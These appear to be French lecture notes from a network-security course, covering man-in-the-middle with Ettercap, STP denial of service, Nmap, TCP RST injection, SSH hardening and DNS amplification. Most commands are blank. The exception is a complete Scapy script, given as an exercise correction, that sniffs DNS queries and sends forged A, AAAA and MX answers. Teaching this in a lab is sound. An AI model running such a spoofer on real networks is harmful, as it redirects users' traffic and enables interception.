SWRAD
Mail
qgx.prof@gmail.com
Liens
cvedetails.com : Site de recensement des failles sur des équipements réseaux
Scapy
Envoie d'une requette ARP
Ettercap
Man in the middle
Pour lancer le man in the middle il faut lancer cette commande sur la machine de l'attaquant :
Pour verrifier si il a fonctionné il faut lancer wireshark et filter les resultats avec le filtre :
La victime doit lancer ping 9.9.9.9
par exemple et on le verra sur le wireshark de l'attaquant.
ettercap route les packets vers la gateway tout seul.
Dénis de service
Un dénis de service peut être fait en se faisaiant passer pour un switch ors de la phase d'élection de la root.
Par défaut il faut désactiver le STP sur les port des switch qui ne le necessite pas.
Exploration de réseau
Nmap
List des machines sur le réseau :
Traceroute
Permet de savoir par ou passe nos packets sur Internet.
Les lignes avec * * *
représente des routeurs qui ne renvoie pas de réponse ICMP.
Scapy
Exercice pour le prochain cours (9 octobre)
Exercice page 23
Correction possible :
from scapy.all import *
conf.L3socket = L3RawSocket
dnsserv = "8.8.8.8"
dnsport = 53
domain = "www.google.fr"
domain_dot = domain + "."
dns_qtypes = ["A", "AAAA"]
domain_ip = []
interface="eth0"
case1_spoof_ip = "1.2.3.4"
case1_spoof_port = 44
case2_spoof_ip = "::2"
case2_spoof_port = 44
case3_spoof_exchange = "mail.swrad"
case3_spoof_preference = 40
def spoofer(packet):
if IP in packet and packet.haslayer(DNS) and packet.getlayer(DNS).qr == 0:
dns_qr = packet.getlayer(DNSQR)
if dns_qr.qname.decode() == domain_dot and dns_qr.qtype == 1:
to_send = IP(dst=packet[IP].src, src=packet[IP].dst)/ \
UDP(dport=packet[UDP].sport)/ \
DNS(id=packet[DNS].id, qr=1, aa=0,
qd=packet[DNS].qd, qdcount=1, \
ancount=1, nscount=0, arcount=0, \
an=(DNSRR(rrname=dns_qr.qname.decode(), \
type='A', \
ttl=case1_spoof_port, \
rdata=case1_spoof_ip)), \
ns=None)
send(to_send, verbose=0)
print(domain_dot + " A? => " + case1_spoof_ip)
elif dns_qr.qname.decode() == domain_dot and dns_qr.qtype == 28:
to_send = IP(dst=packet[IP].src, src=packet[IP].dst)/ \
UDP(dport=packet[UDP].sport)/ \
DNS(id=packet[DNS].id, qr=1, aa=0, \
qd=packet[DNS].qd, qdcount=1, \
ancount=1, nscount=0, arcount=0, \
an=(DNSRR(rrname=dns_qr.qname, \
type='AAAA', \
ttl=case2_spoof_port, \
rdata=case2_spoof_ip)), \
ns=None)
send(to_send, verbose=0)
print(domain_dot + " AAAA? => " + case2_spoof_ip)
elif dns_qr.qname.decode() == domain_dot and dns_qr.qtype == 15:
to_send = IP(dst=packet[IP].src, src=packet[IP].dst)/ \
UDP(dport=packet[UDP].sport)/ \
DNS(id=packet[DNS].id, qr=1, aa=0, \
qd=packet[DNS].qd, qdcount=1, \
ancount=1, nscount=0, arcount=0, \
an=(DNSRRMX(rrname=dns_qr.qname, \
type='MX', \
preference=case3_spoof_preference, \
exchange=case3_spoof_exchange)), \
ns=None)
send(to_send, verbose=0)
print(domain_dot + " MX? => " + case3_spoof_exchange)
else:
qtype_field = dns_qr.get_field('qtype')
print(dns_qr.qname.decode() + " " + qtype_field.i2repr(dns_qr, dns_qr.qtype) + "?")
for dns_qtype in dns_qtypes:
dnsreq = IP(dst=dnsserv)/UDP(dport=dnsport)/DNS(rd=1, qd=DNSQR(qname=domain, qtype=dns_qtype))
dnsres = sr1(dnsreq, verbose=0)
domain_ip.append(dnsres.an.rdata)
print(domain + " " + dns_qtype + " " + dnsres.an.rdata)
domain_ip_A = domain_ip[0]
domain_ip_AAAA = domain_ip[1]
sniff(count=0, iface=interface, filter="udp port 53", prn=spoofer)
TCP RST
Avec cette exercice on ferme un connexion TCP entre deux machines.
Commande Serveur :
Commande Client :
Commande tcpdump :
Commande Attaquant :
-s 32836
: Port source à changer, on trouve le sur tcpdump
Il est possible d'inverser -s et -p, cela va envoyer la déconnexion au client ou au serveur. (Dans la commande ci-dessus on déconnect le serveur)
-M 2948493844
: Numéro de séquance à changer, on le trouve sur tcpdump
Le port knocking
Wikipedia (port knocking)
On refuse la connexion par mot de passe et on authorise que la connexion par échange de clé.
Le mieux est d'empécher la connexion root.
Dans le fichier de configuration (souvent /etc/ssh/sshd_config
) on devrait avoir au moins :
DDoS par amplification DNS
Explication simplifié d'un DDoS par amplifiacation DNS : Article Cloudflare